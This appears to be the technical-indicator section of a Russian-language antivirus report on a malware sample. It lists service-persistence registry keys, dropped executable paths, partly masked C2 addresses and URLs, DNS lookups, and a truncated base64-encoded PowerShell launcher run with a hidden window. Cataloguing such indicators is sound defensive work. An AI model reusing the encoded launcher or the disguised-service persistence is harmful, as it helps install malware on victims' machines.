Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\tcpmonui] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\tcpmonui] 'ImagePath' = '"%WINDIR%\SysWOW64\WlanMM\tcpmonui.exe"'
- 'tcpmonui' "%WINDIR%\SysWOW64\WlanMM\tcpmonui.exe"
- 'tcpmonui' %WINDIR%\SysWOW64\WlanMM\tcpmonui.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAHEAYQBqAG0AcAB5AD0AKAAoACcAVgAnACsAJwBiAHkAdgAnACkAKwAnAHgAJwArACcAagB6ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBQAHIAbwBmAEkATABlAFwAZABJAG...
- %HOMEPATH%\diar8h7\off1fey\j_eilb.exe
- %WINDIR%\syswow64\wlanmm\tcpmonui.exe
- %HOMEPATH%\diar8h7\off1fey\j_eilb.exe в %WINDIR%\syswow64\wlanmm\tcpmonui.exe
- '75.#0.124.4':80
- http://cr#.#ectigo.com/SectigoRSADomainValidationSecureServerCA.crt
- http://ma####awildlife.com/wp-admin/zuWZW/
- http://75.#0.124.4/LfFA7uIhwA8e/
- DNS ASK te####tejson.com
- DNS ASK ho#####.mybestheme.com
- DNS ASK ta####2plate.com
- DNS ASK cr#.#ectigo.com
- DNS ASK ma####awildlife.com
- '%HOMEPATH%\diar8h7\off1fey\j_eilb.exe'
- '%WINDIR%\syswow64\wlanmm\tcpmonui.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAHEAYQBqAG0AcAB5AD0AKAAoACcAVgAnACsAJwBiAHkAdgAnACkAKwAnAHgAJwArACcAagB6ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBQAHIAbwBmAEkATABlAFwAZABJAG...' (со скрытым окном)